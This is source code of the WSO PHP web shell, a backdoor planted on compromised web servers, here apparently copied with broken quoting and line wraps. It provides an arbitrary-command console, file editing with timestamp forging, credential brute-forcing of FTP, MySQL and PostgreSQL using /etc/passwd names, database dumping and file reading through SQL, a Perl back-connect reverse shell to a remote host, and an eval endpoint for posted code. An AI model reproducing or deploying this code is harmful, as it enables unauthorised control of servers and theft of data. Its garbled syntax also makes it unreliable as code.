        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'binhex',
        'BIN to DEC' => 'bindec',
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
        ob_start();
        if(in_array($_POST['p1'], $stringTools))
            echo $_POST['p1']($_POST['p2']);
        $temp =
"document.getElementById('strOutput').style.display='';document.getElementById('stro
utput').innerHTML='".addslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."'";
        \n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
    wsoHeader();
}

```

```

echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked)
{a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTo
ol.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
    echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>' /> <input
type=checkbox name=ajax value=1 ".
(@$_COOKIE[md5($_SERVER['HTTP_HOST'])].'ajax')?'checked':''."> send using AJAX<br>
<textarea name='input' style='margin-top:5px' class=bigarea>".
(empty($_POST['p1'])?'':htmlspecialchars($_POST['p2']))."</textarea></form><pre
class='m11' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px'
id='strOutput'>";
    if(!empty($_POST['p1'])) {
        if(in_array($_POST['p1'], $stringTools))echo
htmlspecialchars($_POST['p1']($_POST['p2']));
    }
echo"</pre></div><br><h1>Search files:</h1><div class=content>
    <form
onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return
false;\"><table cellpadding='1' cellspacing='0' width='50%'>
    <tr><td width='1%'>Text:</td><td><input type='text'
name='text' style='width:100%'></td></tr>
    <tr><td>Path:</td><td><input type='text' name='cwd'
value='\". htmlspecialchars($GLOBALS['cwd']) .\"' style='width:100%'></td></tr>
    <tr><td>Name:</td><td><input type='text' name='filename'
value='*' style='width:100%'></td></tr>
    <tr><td></td><td><input type='submit' value='>>'></td></tr>
    </table></form>";

function wsoRecursiveGlob($path) {
    if(substr($path, -1) != '/')
        $path.='/' ;
    $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']),
@glob($path.'*', GLOB_ONLYDIR)));
    if(is_array($paths)&&@count($paths)) {
        foreach($paths as $item) {
            if(@is_dir($item)){
                if($path!=$item)
                    wsoRecursiveGlob($item);
            } else {
                if(empty($_POST['p2']) ||
@strpos(file_get_contents($item), $_POST['p2'])!==false)
                    echo "<a href='#'
onclick='g(\"FilesTools\",null,\"\".urlencode($item).\"\",
\"view\",\"\")'>\".htmlspecialchars($item).\"</a><br>";
            }
        }
    }
}
if(@$_POST['p3'])
    wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
    <form method='post' target='_blank' name='hf'>
        <input type='text' name='hash' style='width:200px;'><br>
        <input type='hidden' name='act' value='find' />
        <input type='button' value='hashcracking.ru'
onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit(
)\"><br>
        <input type='button' value='md5.rednoize.com'
onclick=\"document.hf.action='http://md5.rednoize.com/?
q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
        <input type='button' value='crackfor.me'
onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\">
<br>

```

```

        </form></div>";
    wsoFooter();
}

function actionFilesTools() {
    if( isset($_POST['p1']) )
        $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
        if(!is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment;
filename=".basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            } else
                header("Content-Type: application/octet-stream");
            $fp = @fopen($_POST['p1'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        }
        }exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
        if(!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    wsoHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists($_POST['p1']) ) {
        echo 'File not exists';
        wsoFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if(!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @filegroup($_POST['p1']);
    } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).'
<span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-
').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:
</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Change time:</span> '.date('Y-m-d
H:i:s',filetime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d
H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d
H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
        $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit',
'Chmod', 'Rename', 'Touch');
    else
        $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
        echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) .
'\',\'' . strtolower($v) . '\')">'.(strtolower($v)==@$_POST['p2'])?<b>[' . $v . ' ]
</b>:'.$v).'</a> ';

```



```

echo '<br><br>';
switch($_POST['p2']) {
    case 'view':
        echo '<pre class=ml1>';
        $fp = @fopen($_POST['p1'], 'r');
        if($fp) {
            while( !@feof($fp) )
                echo htmlspecialchars(@fread($fp, 1024));
            @fclose($fp);
        }
        echo '</pre>';
        break;
    case 'highlight':
        if( @is_readable($_POST['p1']) ) {
            echo '<div class=ml1 style="background-color:
#e1e1e1;color:black;">';
            $code = @highlight_file($_POST['p1'],true);
            echo str_replace(array('<span ','</span>'),
array('<font ','</font>'),$code).'</div>';
        }
        break;
    case 'chmod':
        if( !empty($_POST['p3']) ) {
            $perms = 0;
            for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                $perms += (int)$_POST['p3'][$i]*pow(8,
(strlen($_POST['p3'])-$i-1));
            if(!@chmod($_POST['p1'], $perms))
                echo 'Can\'t set permissions!<br>
<script>document.mf.p3.value="";</script>';
        }
        clearstatcache();
        echo '<script>p3_="";</script><form
onsubmit="g(null,null,\'' . urlencode($_POST['p1']) .
'\',null,this.chmod.value);return false;"><input type=text name=chmod
value="'.substr(sprintf('%o', fileperms($_POST['p1'])), -4).'"><input type=submit
value=">>"></form>';
        break;
    case 'edit':
        if( !is_writable($_POST['p1']) ) {
            echo 'File isn\'t writeable';
            break;
        }
        if( !empty($_POST['p3']) ) {
            $time = @filemtime($_POST['p1']);
            $_POST['p3'] = substr($_POST['p3'],1);
            $fp = @fopen($_POST['p1'], "w");
            if($fp) {
                @fwrite($fp, $_POST['p3']);
                @fclose($fp);
                echo 'Saved!<br><script>p3_="";</script>';
                @touch($_POST['p1'], $time, $time);
            }
        }
        echo '<form onsubmit="g(null,null,\'' .
urlencode($_POST['p1']) . '\',null,\''1\'+this.text.value);return false;"><textarea
name=text class=bigarea>';
        $fp = @fopen($_POST['p1'], 'r');
        if($fp) {
            while( !@feof($fp) )
                echo htmlspecialchars(@fread($fp, 1024));
            @fclose($fp);
        }
        echo '</textarea><input type=submit value=">>"></form>';
        break;

```

```

case 'hexdump':
    $c = @file_get_contents($_POST['p1']);
    $n = 0;
    $h = array('00000000<br>','','');
    $len = strlen($c);
    for ($i=0; $i<$len; ++$i) {
        $h[1] .= sprintf('%02X',ord($c[$i])).' ';
        switch ( ord($c[$i]) ) {
            case 0: $h[2] .= ' '; break;
            case 9: $h[2] .= ' '; break;
            case 10: $h[2] .= ' '; break;
            case 13: $h[2] .= ' '; break;
            default: $h[2] .= $c[$i]; break;
        }
        $n++;
        if ($n == 32) {
            $n = 0;
            if ($i+1 < $len) {$h[0] .=
sprintf('%08X',$i+1).<br>';}

            $h[1] .= '<br>';
            $h[2] .= "\n";
        }
    }
    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222>
<tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].</pre>
</span></td><td bgcolor=#282828><pre>'.$h[1].</pre></td><td bgcolor=#333333>
<pre>'.htmlspecialchars($h[2]).</pre></td></tr></table>';
    break;
case 'rename':
    if( !empty($_POST['p3']) ) {
        if(!@rename($_POST['p1'], $_POST['p3']))
            echo 'Can\'t rename!<br>';
        else
            die('<script>g(null,null,"'.urlencode($_POST['p3'])."',null,"")</script>');
    }
    echo '<form onsubmit="g(null,null,\'' .
urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text
name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">">
</form>';
    break;
case 'touch':
    if( !empty($_POST['p3']) ) {
        $time = strtotime($_POST['p3']);
        if($time) {
            if(!touch($_POST['p1'],$time,$time))
                echo 'Fail!';
            else
                echo 'Touched!';
        } else echo 'Bad time format!';
    }
    clearstatcache();
    echo '<script>p3_="'.urlencode($_POST['p1']).
onsubmit="g(null,null,\'' . urlencode($_POST['p1']) .
'\',null,this.touch.value);return false;"><input type=text name=touch
value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit
value=">"></form>';
    break;
}
echo '</div>';
wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {

```

```

WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

if(isset($_POST['ajax'])) {
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
    ob_start();
    echo "d.cf.cmd.value='';\n";
    $temp = @iconv($_POST['charset'], 'UTF-8', addslashes("\n$
".$_POST['p1']."\n".wsoEx($_POST['p1']), "\n\r\t\\'\0"));
    if(preg_match("!.*cd\s+([\^;]+)$!", $_POST['p1'], $match)) {
        if(@chdir($match[1])) {
            $GLOBALS['cwd'] = @getcwd();
            echo "c_='".$GLOBALS['cwd']."'";
        }
    }
    echo "d.cf.output.value+='".$temp."'";
    echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
    $temp = ob_get_clean();
    echo strlen($temp), "\n", $temp;
    exit;
}

if(empty($_POST['ajax'])&&!empty($_POST['p1']))
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);

wsoHeader();
echo "<script>";
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push('');
    cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf
onsubmit="if(d.cf.cmd.value==\'clear\')
{d.cf.output.value=\'\';d.cf.cmd.value=\'\';return
false;}add(this.cmd.value);if(this.ajax.checked)
{a(null,null,this.cmd.value,this.show_errors.checked?
1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return
false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
    if($v == '') {
        echo '<optgroup label="-'.htmlspecialchars($n).'-">
</optgroup>';
        continue;
    }

```

```

    }
    echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}

echo '</select><input type=button
onclick="add(d.cf.alias.value);if(d.cf.ajax.checked)
{a(null,null,d.cf.alias.value,d.cf.show_errors.checked?
1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}"
value="">>>"> <noinput type=checkbox name=ajax value=1 '.
(@$_COOKIE[md5($_SERVER['HTTP_HOST'])).'ajax']?'checked':'').> send using AJAX
<input type=checkbox name=show_errors value=1 '.
(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST'])).'stderr_to_out']?'checked
':'').> redirect stderr to stdout (2>&1)</noinput><br/><textarea class=bigarea
name=output style="border-bottom:0;margin:0;" readonly>';
    if(!empty($_POST['p1'])) {
        echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
    }
    echo '</textarea><table style="border:1px solid #df5;background-
color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td
width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"
onkeydown="kp(event);"></td></tr></table>';
    echo '</form></div><script>d.cf.cmd.focus();</script>';
    wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
    die('bye!');
}

function actionSelfRemove() {
    if($_POST['p1'] == 'yes')
        if(@unlink(preg_replace('!\(\\d+\\)\s.*!', '', __FILE__)))
            die('Shell has been removed');
        else
            echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?
<br><a href=# onclick="g(null,null,\''yes\'")>Yes</a></div>';
    wsoFooter();
}

function actionBruteforce() {
    wsoHeader();
    if( isset($_POST['proto']) ) {
        echo '<h1>Results</h1><div class=content><span>Type:</span>
'.htmlspecialchars($_POST['proto']).' <span>Server:</span>
'.htmlspecialchars($_POST['server']).<br>';
        if( $_POST['proto'] == 'ftp' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST['proto'] == 'mysql' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.':'.($port?$port:3306),
$login, $pass);
                @mysql_close($res);
                return $res;
            }
        }
    }
}

```

```

    } elseif( $_POST['proto'] == 'pgsql' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $str = "host='".$ip."' port='".$port."'
user='".$login."' password='".$pass."' dbname=postgres";
            $res = @pg_connect($str);
            @pg_close($res);
            return $res;
        }
    }
    $success = 0;
    $attempts = 0;
    $server = explode(":", $_POST['server']);
    if($_POST['type'] == 1) {
        $temp = @file('/etc/passwd');
        if( is_array($temp) )
            foreach($temp as $line) {
                $line = explode(":", $line);
                ++$attempts;
                if( wsoBruteForce(@$server[0],@$server[1],
$line[0], $line[0]) ) {
                    $success++;
                    echo
'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                }
                if(@$_POST['reverse']) {
                    $tmp = "";
                    for($i=strlen($line[0])-1; $i>=0; --
$i)
                        $tmp .= $line[0][$i];
                    ++$attempts;
                    if(
wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                        $success++;
                        echo
'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                    }
                }
            }
    } elseif($_POST['type'] == 2) {
        $temp = @file($_POST['dict']);
        if( is_array($temp) )
            foreach($temp as $line) {
                $line = trim($line);
                ++$attempts;
                if( wsoBruteForce($server[0],@$server[1],
$_POST['login'], $line) ) {
                    $success++;
                    echo
'<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                }
            }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span>
$success</div><br>";
    }
    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr>
<td><span>Type</span></td>'
        . '<td><select name=proto><option value=ftp>FTP</option><option
value=mysql>MySQL</option><option value=pgsql>PostgreSql</option></select></td></tr>
<tr><td>'
        . '<input type=hidden name=c
value="'.htmlspecialchars($GLOBALS['cwd']).' ">'
        . '<input type=hidden name=a
value="'.htmlspecialchars($_POST['a']).' ">'
        . '<input type=hidden name=charset

```

```

value="'.htmlspecialchars($_POST['charset']).'">
    .<span>Server:port</span></td>
    .<td><input type=text name=server value="127.0.0.1"></td></tr>
    .<tr><td><span>Brute type</span></td>
    .<td><label><input type=radio name=type value="1" checked>
/etc/passwd</label></td></tr>
    .<tr><td></td><td><label style="padding-left:15px"><input
type=checkbox name=reverse value=1 checked> reverse (login -> nigel)</label></td>
</tr>
    .<tr><td></td><td><label><input type=radio name=type value="2">
Dictionary</label></td></tr>
    .<tr><td></td><td><table style="padding-left:15px"><tr><td>
<span>Login</span></td>
    .<td><input type=text name=login value="root"></td></tr>
    .<tr><td><span>Dictionary</span></td>
    .<td><input type=text name=dict
value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>
    .</td></tr><tr><td></td><td><input type=submit value=">"></td>
</tr></form></table>;
    echo '</div><br>';
    wsoFooter();
}

function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type) {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type) {
                case 'mysql':
                    if( $this->link =
@mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host=
{$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type) {
                case 'mysql':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                    break;
                case 'pgsql':
                    return $this->res = @pg_query($this-
>link,$str);
                    break;
            }
            return false;
        }
    }
}

```

```

    }
    function fetch() {
        $res = func_num_args()?func_get_arg(0):$this->res;
        switch($this->type) {
            case 'mysql':
                return @mysql_fetch_assoc($res);
                break;
            case 'pgsql':
                return @pg_fetch_assoc($res);
                break;
        }
        return false;
    }
    function listDbs() {
        switch($this->type) {
            case 'mysql':
                return $this->query("SHOW databases");
                break;
            case 'pgsql':
                return $this->res = $this->query("SELECT
datname FROM pg_database WHERE datistemplate!='t'");
                break;
        }
        return false;
    }
    function listTables() {
        switch($this->type) {
            case 'mysql':
                return $this->res = $this->query('SHOW
TABLES');
                break;
            case 'pgsql':
                return $this->res = $this->query("select
table_name from information_schema.tables where table_schema != 'information_schema'
AND table_schema != 'pg_catalog'");
                break;
        }
        return false;
    }
    function error() {
        switch($this->type) {
            case 'mysql':
                return @mysql_error();
                break;
            case 'pgsql':
                return @pg_last_error();
                break;
        }
        return false;
    }
    function setCharset($str) {
        switch($this->type) {
            case 'mysql':
                if(function_exists('mysql_set_charset'))
                    return @mysql_set_charset($str,
$this->link);
                else
                    $this->query('SET CHARSET '.$str);
                break;
            case 'pgsql':
                return @pg_set_client_encoding($this->link,
$str);
                break;
        }
        return false;
    }

```

```

    }
    function loadFile($str) {
        switch($this->type) {
            case 'mysql':
                return $this->fetch($this->query("SELECT
LOAD_FILE('".addslashes($str)."' ) as file"));
                break;
            case 'pgsql':
                $this->query("CREATE TABLE wso2(file
text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
                $r=array();
                while($i=$this->fetch())
                    $r[] = $i['file'];
                $this->query('drop table wso2');
                return array('file'=>implode("\n",$r));
                break;
        }
        return false;
    }
    function dump($table, $fp = false) {
        switch($this->type) {
            case 'mysql':
                $res = $this->query('SHOW CREATE TABLE
`'.$table.'`');

                $create = mysql_fetch_array($res);
                $sql = $create[1].";\n";
                if($fp) fwrite($fp, $sql); else echo($sql);
                $this->query('SELECT * FROM `'.$table.'`');

                $i = 0;
                $head = true;

                while($item = $this->fetch()) {

                    $sql = '';
                    if($i % 1000 == 0) {
                        $head = true;
                        $sql = ";\n\n";
                    }

                    $columns = array();
                    foreach($item as $k=>$v) {

                        if($v === null)
                            $item[$k] = "NULL";
                        elseif(is_int($v))
                            $item[$k] = $v;
                        else
                            $item[$k] = "'".$mysql_real_escape_string($v)."'";
                            $columns[] = "`".$k."`";

                    }

                    if($head) {
                        $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ",
$columns).") VALUES \n\t('".implode(", ", $item).')';
                        $head = false;
                    } else
                        $sql .= "\n\t('".implode(", ", $item).')';
                    if($fp) fwrite($fp, $sql); else echo($sql);
                    $i++;
                }

                if(!$head)
                    if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
                    break;
            case 'pgsql':
                $this->query('SELECT * FROM '.$table);
                while($item = $this->fetch()) {
                    $columns = array();
                    foreach($item as $k=>$v) {
                        $item[$k] =

```



```

"".addslashes($v)."";

$columns[] = $k;
    }
    $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).')
VALUES ('.implode(", ", $item).');'. "\n";
    if($fp) fwrite($fp, $sql); else echo($sql);
    }
    break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
    $db->connect($_POST['sql_host'], $_POST['sql_login'],
$_POST['sql_pass'], $_POST['sql_base']);
    $db->selectdb($_POST['sql_base']);
    switch($_POST['charset']) {
        case "Windows-1251": $db->setCharset('cp1251'); break;
        case "UTF-8": $db->setCharset('utf8'); break;
        case "KOI8-R": $db->setCharset('koi8r'); break;
        case "KOI8-U": $db->setCharset('koi8u'); break;
        case "cp866": $db->setCharset('cp866'); break;
    }
    if(empty($_POST['file'])) {
        ob_start("ob_gzhandler", 4096);
        header("Content-Disposition: attachment; filename=dump.sql");
        header("Content-Type: text/plain");
        foreach($_POST['tbl'] as $v)
            $db->dump($v);

        exit;
    } elseif($fp = @fopen($_POST['file'], 'w')) {
        foreach($_POST['tbl'] as $v)
            $db->dump($v, $fp);
        fclose($fp);
        unset($_POST['p2']);
    } else
        die('<script>alert("Error! Can\'t open file");window.history.back(-1)
</script>');
    }
    wsoHeader();
    echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2'
cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td>
</tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input
type=hidden name=p2 value=''><input type=hidden name=c value=''.
htmlspecialchars($GLOBALS['cwd']) .''><input type=hidden name=charset value=''.
(isset($_POST['charset'])?$_POST['charset']:') .''>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
    echo ">MySQL</option><option value='pgsql' ";
    if(@$_POST['type']=='pgsql')echo 'selected';
    echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"".
(empty($_POST['sql_host'])? 'localhost':htmlspecialchars($_POST['sql_host'])) .\"">
</td>
<td><input type=text name=sql_login value=\"".
(empty($_POST['sql_login'])? 'root':htmlspecialchars($_POST['sql_login'])) .\""></td>
<td><input type=text name=sql_pass value=\"".
(empty($_POST['sql_pass'])? '' :htmlspecialchars($_POST['sql_pass'])) .\""></td><td>";
    $tmp = "<input type=text name=sql_base value=''>";
    if(isset($_POST['sql_host'])) {

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```

        if($db->connect($_POST['sql_host'], $_POST['sql_login'],
$_POST['sql_pass'], $_POST['sql_base'])) {
            switch($_POST['charset']) {
                case "Windows-1251": $db->setCharset('cp1251');
break;

                case "UTF-8": $db->setCharset('utf8'); break;
                case "KOI8-R": $db->setCharset('koi8r'); break;
                case "KOI8-U": $db->setCharset('koi8u'); break;
                case "cp866": $db->setCharset('cp866'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="'. $value. '" ' .
($value==$_POST['sql_base']?'selected':''). '>'. $value. '</option>';
            }
            echo '</select>';
        }
        else echo $tmp;
    }else
        echo $tmp;
    echo "</td>

        <td><input type=submit value='>>'
onclick='fs(d.sf);'></td>
        <td><input type=checkbox name=sql_count value='on'" .
(empty($_POST['sql_count'])?':' checked') . "> count the number of rows</td>
    </tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
    if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
        if(f.p1) f.p1.value='';
        if(f.p2) f.p2.value='';
        if(f.p3) f.p3.value='';
    }
}

function st(t,l) {
    d.sf.p1.value = 'select';
    d.sf.p2.value = t;
    if(1 && d.sf.p3) d.sf.p3.value = 1;
    d.sf.submit();
}

function is() {
    for(i=0;i<d.sf.elements['tbl[]'].length;++i)
        d.sf.elements['tbl[]'][i].checked =
!d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
    echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
        if(!empty($_POST['sql_base'])){
            $db->selectdb($_POST['sql_base']);
            echo "<tr><td width=1 style='border-top:2px solid
#666;'><span>Tables:</span><br><br>";
            $tbls_res = $db->listTables();
            while($item = $db->fetch($tbls_res)) {
                list($key, $value) = each($item);
                if(!empty($_POST['sql_count']))
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM
'. $value. ''));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox'
name='tbl[]" value='". $value. "'>&nbsp; <a href=#

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onclick="\st('".$value."',1)\>".$value."</a>" .
(empty($_POST['sql_count'])?&nbsp;':<small>({$n['n']})</small>") . "</nobr><br>";
    }
    echo "<input type='checkbox' onclick='is();'> <input
type=button value='Dump'
onclick=document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:
<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid
#666;'>";

        if(@$_POST['p1'] == 'select') {
            $_POST['p1'] = 'query';
            $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
            $db->query('SELECT COUNT(*) as n FROM ' .
$_POST['p2']);

            $num = $db->fetch();
            $pages = ceil($num['n'] / 30);
            echo "<script>d.sf.onSubmit=function(){st(\"" . $_POST['p2'] .
\"\", d.sf.p3.value)}</script><span>".$_POST['p2']. "</span> ({$num['n']} records)
Page # <input type=text name='p3' value=\"" . ((int)$_POST['p3']) . ">";
            echo " of $pages";
            if($_POST['p3'] > 1)
                echo " <a href=# onclick='st(\"" . $_POST['p2'] . "', ' .
($_POST['p3']-1) . ")'>&lt; Prev</a>";
            if($_POST['p3'] < $pages)
                echo " <a href=# onclick='st(\"" . $_POST['p2'] . "', ' .
($_POST['p3']+1) . ")'>Next &gt;</a>";
            $_POST['p3']--;

            if($_POST['type']=='pgsql')
                $_POST['p2'] = 'SELECT * FROM
' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3']*30);
            else
                $_POST['p2'] = 'SELECT * FROM
' . $_POST['p2'] . ' LIMIT ' . ($_POST['p3']*30) . ',30';
            echo "<br><br>";
        }
        if((@$_POST['p1'] == 'query') &&
!empty($_POST['p2'])) {
            $db->query(@$_POST['p2']);
            if($db->res !== false) {
                $title = false;
                echo '<table width=100%
cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                $line = 1;
                while($item = $db->fetch()) {
                    if(!$title) {
                        echo '<tr>';
                        foreach($item as
$key => $value)
                            echo
'<th>'.$key.'</th>';

                        reset($item);
                        $title=true;
                        echo '</tr><tr>';
                        $line = 2;
                    }
                    echo '<tr
class="l'.$line.'">';

                    $line = $line==1?2:1;
                    foreach($item as $key =>
$value) {
                        if($value == null)
                            echo '<td>
<i>null</i></td>';

                        else
                            echo
'<td>'.nl2br(htmlspecialchars($value)).'</td>';

```

<http://pastebin.com/raw.php?i=wXUNbZzJ>

```

    <form name='nfp'
onSubmit="\<g(null,null,'bcp',this.server.value,this.port.value);return false;\>"
    <span>Back-connect [perl]</span><br/>
    Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR']
.'"> Port: <input type='text' name='port' value='31337'> <input type=submit
value='>>'>
    </form><br>";
    if(isset($_POST['p1'])) {
        function cf($f,$t) {
            $w = @fopen($f,"w") or
@function_exists('file_put_contents');
            if($w){
                @fwrite($w,@base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null
2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."
</pre>";
            unlink("/tmp/bp.pl");
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']."
".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."
</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo '</div>';
    wsoFooter();
}
function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
